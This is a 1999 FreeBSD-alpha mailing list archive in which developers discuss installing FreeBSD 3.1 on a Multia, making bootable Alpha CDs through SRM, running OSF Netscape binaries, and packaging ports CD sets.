May 3 5:52:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id E863B14E2C for ; Mon, 3 May 1999 05:52:51 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id NAA67447; Mon, 3 May 1999 13:52:33 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 13:52:33 +0100 (BST) From: Doug Rabson To: Martin Ostermann Cc: John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <43emky5oiu.fsf@comnets.rwth-aachen.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 3 May 1999, Martin Ostermann wrote: > On Mon, 3 May 1999 09:44:04 +0100 (BST), Doug Rabson said: > > It would be really nice to have a bootable CD but I don't know exactly > > what is required for the alpha (I don't have a CD writer either..). I > > think NetBSD can do this so it shouldn't be hard to track down what is > > needed. > > I don't now about official specs, but in Linux/Alpha the 'isomarkboot' > program contained in the 'aboot' package allows it to make SRM > bootable CDs. It allows to mark any file in an existing ISO9660 image as > the program to boot. In Linux this is usually used to load the 'aboot' > loader from CD. I believe there's nothing Linux specific to it. > > Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8. It sounds pretty easy to do but like I said, I don't have a CD writer. If one should unexpectedly appear on my doorstep, I could make it work I expect. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 6: 2:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 4D0CA150AC for ; Mon, 3 May 1999 06:02:35 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id PAA03326 for freebsd-alpha@FreeBSD.ORG; Mon, 3 May 1999 15:02:34 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id LAA32098 for ; Mon, 3 May 1999 11:24:08 +0200 Message-Id: <199905030924.LAA32098@karhu.hirvi.net> Date: Mon, 3 May 1999 13:07:00 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 03.05.99, 03:59:16 Jordan K. Hubbard wrote: Hi Jordan, > considerable number of packages available for it.. Making the CD > bootable, however, still won't be an option until somebody shows > us how to do it. :) After several installs of Alpha boxes with Free BSD, Linux and DU I believe that this is a slighly difficult task. Normaly Alphas come up in the console mode which is either the srm or arc console. I have never seen an Alpha trying to boot from floppy or cdrom by itself ( without configuring ) -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 6: 3:26 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zruty.comnets.rwth-aachen.de (zruty.comnets.rwth-aachen.de [137.226.4.16]) by hub.freebsd.org (Postfix) with ESMTP id 0FA0E150AF for ; Mon, 3 May 1999 06:03:17 -0700 (PDT) (envelope-from ost@comnets.rwth-aachen.de) Received: from kirk.comnets.rwth-aachen.de (kirk [137.226.4.246]) by zruty.comnets.rwth-aachen.de (8.9.1/8.9.1) with ESMTP id PAA12298; Mon, 3 May 1999 15:01:53 +0200 (MET DST) Received: (ost@localhost) by kirk.comnets.rwth-aachen.de (8.6.12/COMNETS-1.0) id PAA18627; Mon, 3 May 1999 15:01:55 +0200 To: Doug Rabson Cc: John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box References: Reply-To: Martin Ostermann x-no-archive: yes From: Martin Ostermann Date: 03 May 1999 15:01:55 +0200 In-Reply-To: Doug Rabson's message of "Mon, 3 May 1999 13:52:33 +0100 (BST)" Message-ID: <43btg25mt8.fsf@comnets.rwth-aachen.de> Lines: 23 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999 13:52:33 +0100 (BST), Doug Rabson said: >> I don't now about official specs, but in Linux/Alpha the 'isomarkboot' >> program contained in the 'aboot' package allows it to make SRM >> bootable CDs. It allows to mark any file in an existing ISO9660 image as >> the program to boot. In Linux this is usually used to load the 'aboot' >> loader from CD. I believe there's nothing Linux specific to it. >> >> Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8. > It sounds pretty easy to do but like I said, I don't have a CD writer. If > one should unexpectedly appear on my doorstep, I could make it work I > expect. You won't need a CD writer for testing, a spare SCSI disk with about 700MB capacity or more would be just fine. It doesn't matter to SRM whether the image is on a CD or on a hard disk... Martin -- Martin Ostermann | mailto:ost+sig0@comnets.rwth-aachen.de Communication Networks | http://www.comnets.rwth-aachen.de/~ost Aachen University of Technology | phone: ++49/241/807917 Germany | fax: ++49/241/8890378 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 7: 4:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id BDCB015136 for ; Mon, 3 May 1999 07:04:52 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA11884; Mon, 3 May 1999 10:04:51 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA94384; Mon, 3 May 1999 10:04:38 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 3 May 1999 10:04:37 -0400 (EDT) To: Thomas Pornin Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Compiling XFree on an alpha.. In-Reply-To: <19990503083942.B20136@bolet.ens.fr> References: <199905021908.MAA19491@mail.cybcon.com> <19990503083942.B20136@bolet.ens.fr> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14125.44049.845050.285497@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thomas Pornin writes: > On Sun, May 02, 1999 at 08:32:47PM +0100, Doug Rabson wrote: > > Fair enough. I don't think XF86Setup and netscape work with Linux/alpha > > either... > > I do not know for XF86Setup (my first XFree installation was back in > the days where XF86Setup did not exist, and the Xconfigure thing would > not work, therefore I write XF86Config by hand) but you may run the OSF > Netscape on Linux/Alpha. I have a fully functional Communicator 4.51 > and it is stable. This requires the OSF shared libs, though (or maybe FreeBSD is also capable of running Netscape, and other DU binaries such as Mathematica and S-Plus under the osf/1 compatibility module. You can fetch it from: ftp://ftp.cs.duke.edu/pub/gallatin/osf1.tar.gz Be warned that I haven't had much time to play with it since December, so it might need a little tweaking to get it working again with -current. ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 8:49:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C6C41151A6 for ; Mon, 3 May 1999 08:49:37 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id QAA67831; Mon, 3 May 1999 16:49:07 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 16:49:07 +0100 (BST) From: Doug Rabson To: Martin Ostermann Cc: John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <43btg25mt8.fsf@comnets.rwth-aachen.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 3 May 1999, Martin Ostermann wrote: > On Mon, 3 May 1999 13:52:33 +0100 (BST), Doug Rabson said: > >> I don't now about official specs, but in Linux/Alpha the 'isomarkboot' > >> program contained in the 'aboot' package allows it to make SRM > >> bootable CDs. It allows to mark any file in an existing ISO9660 image as > >> the program to boot. In Linux this is usually used to load the 'aboot' > >> loader from CD. I believe there's nothing Linux specific to it. > >> > >> Beware, the program isn't 32 bit clean, i.e. it assumes sizeof(long)=8. > > > It sounds pretty easy to do but like I said, I don't have a CD writer. If > > one should unexpectedly appear on my doorstep, I could make it work I > > expect. > > You won't need a CD writer for testing, a spare SCSI disk with about > 700MB capacity or more would be just fine. It doesn't matter to SRM > whether the image is on a CD or on a hard disk... Hmm. Sounds like a standard SRM boot when (which is easy). Just need to make sure that libstand understands iso9660 filesystems. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 9:19:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 6E3C015043 for ; Mon, 3 May 1999 09:19:32 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id SAA10677 for freebsd-alpha@FreeBSD.ORG; Mon, 3 May 1999 18:19:31 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id QAA02115 for ; Mon, 3 May 1999 16:00:15 +0200 Message-Id: <199905031400.QAA02115@karhu.hirvi.net> Date: Mon, 3 May 1999 17:43:00 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 03.05.99, 20:00:31 John Birrell wrote: > I suspect that it might grow further/faster if some of the rough edges > were removed. One thing that has always differentiated FreeBSD is a neat > install. Alpha needs work to live up to that. Compared to a Red Hat Linux installation with milo and ramdisk etc. this install was fairly easy ;) >> But to be honest, despite of taking the wrong floppies, I didn't face any >> problems, usually I tend to install ports from the ftp ports server. > Glad to hear you were successful in the end. One thing about alpha's: Never give up, always trying ;) -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 12:36:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 5ED4B15638 for ; Mon, 3 May 1999 12:36:10 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id PAA93444; Mon, 3 May 1999 15:29:16 -0400 (EDT) Date: Mon, 3 May 1999 15:29:16 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" Cc: John Birrell , Doug Rabson , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <27813.925729156@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Jordan K. Hubbard wrote: > If we really feel that the Alpha is ready to stand on its own CD set, > I guess we could fork it off at this point. There are already a > considerable number of packages available for it.. Making the CD > bootable, however, still won't be an option until somebody shows > us how to do it. :) > I like the idea ... but I sure wish WC felt it was time to fork off a ports cd too (I want to be the first subscriber). > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13: 3:34 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id EBCDF15628 for ; Mon, 3 May 1999 13:03:32 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id NAA29193; Mon, 3 May 1999 13:03:17 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: John Birrell Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 21:25:47 +1000." <199905031125.VAA16567@cimlogic.com.au> Date: Mon, 03 May 1999 13:03:16 -0700 Message-ID: <29190.925761796@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Jordan K. Hubbard wrote: > > If we really feel that the Alpha is ready to stand on its own CD set, > > I guess we could fork it off at this point. There are already a > > considerable number of packages available for it.. Making the CD > > bootable, however, still won't be an option until somebody shows > > us how to do it. :) > > OK, well let's aim to make 4.0-current go in that direction. Erm, just to clarify here, you're recommending we go to separate distribution CDs at 4.0, or that we worry about bootable media for the Alpha with 4.0? - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13: 6:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 344AD14E33 for ; Mon, 3 May 1999 13:06:11 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id NAA29215; Mon, 3 May 1999 13:05:28 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Doug Rabson Cc: Martin Ostermann , John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 13:52:33 BST." Date: Mon, 03 May 1999 13:05:27 -0700 Message-ID: <29211.925761927@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > It sounds pretty easy to do but like I said, I don't have a CD writer. If > one should unexpectedly appear on my doorstep, I could make it work I > expect. I enjoy making the unexpected, expected. Any preferences on make and model, Doug? :-) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:11:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 41A8B14C94 for ; Mon, 3 May 1999 13:11:27 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id NAA29242; Mon, 3 May 1999 13:10:43 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Chuck Robey Cc: John Birrell , Doug Rabson , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 15:29:16 EDT." Date: Mon, 03 May 1999 13:10:42 -0700 Message-ID: <29238.925762242@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I like the idea ... but I sure wish WC felt it was time to fork off a > ports cd too (I want to be the first subscriber). This is the essential idea behind the new toolkit, though we can't just punt the basic bits off the usual product or people will scream. I expect the standard product to always contain at least a subset of "most popular" packages and the toolkit to evolve into a 6 CD set containing everything else. This first toolkit CD was more of a grab-bag since also came out at a time when releasing snapshots for 2.2, 3.1 and 4.0 branches seemed like a reasonable thing to do. That won't be the case for the next one since 2.2 will be dead even to our most conservative customers by the time 3.5 comes out (that's always a good time to make the switch, as past experience has shown) and the snapshot CDs will be back in business, rendering the 4.0 snapshots inappropriate for the toolkit CD. That just leaves the mainstream (3.x) product's overflow packages and an unpacked CVS repo, something which is useful to developers but too big for the standard product. I'm open to other ideas as well. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:18: 1 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id B9D1F14E2E for ; Mon, 3 May 1999 13:17:28 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id VAA68985; Mon, 3 May 1999 21:15:32 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 21:15:32 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" Cc: Martin Ostermann , John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29211.925761927@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Jordan K. Hubbard wrote: > > It sounds pretty easy to do but like I said, I don't have a CD writer. If > > one should unexpectedly appear on my doorstep, I could make it work I > > expect. > > I enjoy making the unexpected, expected. Any preferences on make > and model, Doug? :-) Make and model are not too important. A scsi model might be better than an atapi one but I'm not too fussy :-) -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:19:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 2E012154CB for ; Mon, 3 May 1999 13:19:22 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id QAA93822; Mon, 3 May 1999 16:16:26 -0400 (EDT) Date: Mon, 3 May 1999 16:16:26 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" Cc: John Birrell , Doug Rabson , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29238.925762242@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Jordan K. Hubbard wrote: > > I like the idea ... but I sure wish WC felt it was time to fork off a > > ports cd too (I want to be the first subscriber). > > This is the essential idea behind the new toolkit, though we can't > just punt the basic bits off the usual product or people will scream. > I expect the standard product to always contain at least a subset of > "most popular" packages and the toolkit to evolve into a 6 CD set > containing everything else. This first toolkit CD was more of a > grab-bag since also came out at a time when releasing snapshots for > 2.2, 3.1 and 4.0 branches seemed like a reasonable thing to do. > > That won't be the case for the next one since 2.2 will be dead even to > our most conservative customers by the time 3.5 comes out (that's > always a good time to make the switch, as past experience has shown) > and the snapshot CDs will be back in business, rendering the 4.0 > snapshots inappropriate for the toolkit CD. That just leaves the > mainstream (3.x) product's overflow packages and an unpacked CVS repo, > something which is useful to developers but too big for the standard > product. I'm open to other ideas as well. :) How big, in CDs, would a product that had all ports, packages and distfiles be? Including the XFree86 stuff. Let me admit here, I'm not sure what you meant above. Marketing always confuses me, and the stuff above did a fine job of that. I'm asking this, hoping either you'll explain why it was a dumb question, or maybe the stuff above WAS confusing, and this question will straighten me out. Maybe you feel you always need to have at least one FreeBSD collection packed in? Is that what you meant? > > - Jordan > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:25:42 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id 4FD2314F05 for ; Mon, 3 May 1999 13:25:38 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id GAA17943; Tue, 4 May 1999 06:33:47 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199905032033.GAA17943@cimlogic.com.au> Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29190.925761796@zippy.cdrom.com> from "Jordan K. Hubbard" at "May 3, 1999 1: 3:16 pm" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Tue, 4 May 1999 06:33:47 +1000 (EST) Cc: jb@cimlogic.com.au, freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard wrote: > > Jordan K. Hubbard wrote: > > > If we really feel that the Alpha is ready to stand on its own CD set, > > > I guess we could fork it off at this point. There are already a > > > considerable number of packages available for it.. Making the CD > > > bootable, however, still won't be an option until somebody shows > > > us how to do it. :) > > > > OK, well let's aim to make 4.0-current go in that direction. > > Erm, just to clarify here, you're recommending we go to separate > distribution CDs at 4.0, or that we worry about bootable media > for the Alpha with 4.0? Both. -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:48:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id E296A14C4C for ; Mon, 3 May 1999 13:48:29 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id NAA29538; Mon, 3 May 1999 13:47:20 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: Chuck Robey Cc: John Birrell , Doug Rabson , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 16:16:26 EDT." Date: Mon, 03 May 1999 13:47:20 -0700 Message-ID: <29534.925764440@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > How big, in CDs, would a product that had all ports, packages and > distfiles be? Including the XFree86 stuff. Oh, probably about 6 CDs. :-) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 13:59:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 74F9914EE9 for ; Mon, 3 May 1999 13:59:48 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id QAA93961; Mon, 3 May 1999 16:56:40 -0400 (EDT) Date: Mon, 3 May 1999 16:56:40 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" Cc: John Birrell , Doug Rabson , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29534.925764440@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Jordan K. Hubbard wrote: > > How big, in CDs, would a product that had all ports, packages and > > distfiles be? Including the XFree86 stuff. > > Oh, probably about 6 CDs. :-) Well, that's what I'd be in line for. Divorce the FreeBSD base from it, include the entire ports distribution, all packages too, and all the distfiles in the free world (god, I gotta stop using that expression, it's dated). Probably include the entire FreeBSD web site, maybe that would be a good way to package access, even. Bring the thing out 4 times a year. Let me subscribe, where do I sign? > > - Jordan > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 14: 0:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 314DC14EE9 for ; Mon, 3 May 1999 14:00:11 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id VAA01241; Mon, 3 May 1999 21:57:13 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 3 May 1999 21:57:08 +0100 (BST) From: Doug Rabson To: "Jordan K. Hubbard" Cc: Chuck Robey , John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29534.925764440@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999, Jordan K. Hubbard wrote: > > How big, in CDs, would a product that had all ports, packages and > > distfiles be? Including the XFree86 stuff. > > Oh, probably about 6 CDs. :-) Look on the bright side - it will only be a couple more years before DVD is widespread enough to use that... -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 14: 5:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail13.digital.com (mail13.digital.com [192.208.46.30]) by hub.freebsd.org (Postfix) with ESMTP id E055D1513E for ; Mon, 3 May 1999 14:05:01 -0700 (PDT) (envelope-from mikel@zso.dec.com) Received: from slugbt.zso.dec.com (slugbt.zso.dec.com [16.64.0.18]) by mail13.digital.com (8.9.2/8.9.2/WV2.0g) with SMTP id RAA32521; Mon, 3 May 1999 17:04:38 -0400 (EDT) Received: from 